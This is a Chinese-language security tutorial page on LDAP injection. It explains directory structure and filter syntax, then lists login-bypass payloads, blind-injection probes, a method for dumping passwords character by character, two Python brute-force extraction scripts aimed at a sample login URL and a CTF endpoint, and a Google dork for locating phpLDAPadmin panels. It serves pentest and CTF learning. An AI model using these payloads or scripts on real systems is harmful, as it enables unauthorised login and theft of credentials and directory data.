跳转至

LDAP注入漏洞

LDAP协议

LDAP(Lightweight Directory Access Protocol):即轻量级目录访问协议。是一种运行于TCP/IP之上的在线目录访问协议,主要用于目录中资源的搜索和查询。使用最广泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP

LDAP存储

MySQL数据库,数据都是按记录一条条记录存在表中。而LDAP数据库,是树结构的,数据存储在叶子节点上。

LDAP目录中的信息是按照树形结构组织的:

Text Only
dn:一条记录的位置
dc:一条记录所属的区域
ou:一条记录所属的组织
cn/uid:一条记录的名字/ID

这种树结构非常有利于数据的查询。首先要说明是哪一棵树(dc),然后是从树根到目标所经过的所有分叉(ou),最后就是目标的名字(cn/uid),借用一张图来表明结构如下:

条目&对象类&属性

  • 条目(entry):是目录中存储的基本信息单元,上图每一个方框代表一个entry。一个entry有若干个属性和若干个值,有些entry还能包含子entry
  • 对象类(obejectclass):对象类封装了可选/必选**属性**,同时对象类也是支持继承的。一个entry必须包含一个objectClass,且需要赋予至少一个值。而且objectClass有着严格的等级之分,最顶层是top和alias。例如,organizationalPerson这个objectClass就隶属于person,而person又隶属于top
  • 属性(atrribute):顾名思义,用来存储字段值。被封装在objectclass里的,每个属性(attribute)也会分配唯一的OID号码

LDAP查询语句

一个圆括号内的判断语句又称为一个过滤器filter。

Text Only
( "&" or "|" (filter1) (filter2) (filter3) ...) ("!" (filter))

逻辑与&

Text Only
(&(username=Hpdoger)(password=ikun))

查找name属性为Hpdoger并且password属性值为ikun的所有条目

逻辑或|

Text Only
(|(username=Hpdoger)(displayname=Hpdoger))

查找username或者displayname为Hpdoger的所有条目

特殊说明

除使用逻辑操作符外,还允许使用下面的单独符号作为两个特殊常量

Text Only
(&)     ->Absolute TRUE 
(|)     ->Absolute FALSE 
*       ->通配符

另外,默认情况下,LDAP的DN和所有属性都不区分大小写,即在查询时:

Text Only
(username=Hpdoger) <=> (username=HPDOGER)

LDAP注入

由于LDAP的出现可以追溯到1980年,关于它的漏洞也是历史悠久。LDAP注入攻击和SQL注入攻击相似,利用用户引入的参数生成LDAP查询。攻击者构造恶意的查询语句读取其它数据/跨objectclass读取属性,早在wooyun时代就有师傅详细的剖析了这类漏洞。

Login Bypass

LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.

Bash
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
Bash
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
Bash
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
Bash
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
Bash
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
Bash
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
Bash
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Bash
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
Bash
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Lists

Blind LDAP Injection

You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:

Bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
Bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump data

You can iterate over the ascii letters, digits and symbols:

Bash
(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Discover valid LDAP fields

LDAP objects contains by default several attributes that could be used to save information. You can try to brute-force all of them to extract that info. You can find a list of default LDAP attributes here.

Python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
    value = ""
    finish = False
    while not finish:
        for char in alphabet: #In each possition test each possible printable char
            query = f"*)({attribute}={value}{char}*"
            data = {'login':query, 'password':'bla'}
            r = requests.post(url, data=data, proxies=proxy)
            sys.stdout.write(f"\r{attribute}: {value}{char}")
            #sleep(0.5) #Avoid brute-force bans
            if "Cannot login" in r.text:
                value += str(char)
                break

            if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
                finish = True
                print()

Special Blind LDAP Injection (without "*")

Python
#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
    print("[i] Looking for number " + str(i))
    for char in alphabet:
        r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
        if ("TRUE CONDITION" in r.text):
            flag += char
            print("[+] Flag: " + flag)
            break

Google Dorks

Bash
intitle:"phpLDAPadmin" inurl:cmd.php

从一次漏洞挖掘入门Ldap注入

Web漏洞那些事儿:LDAP注入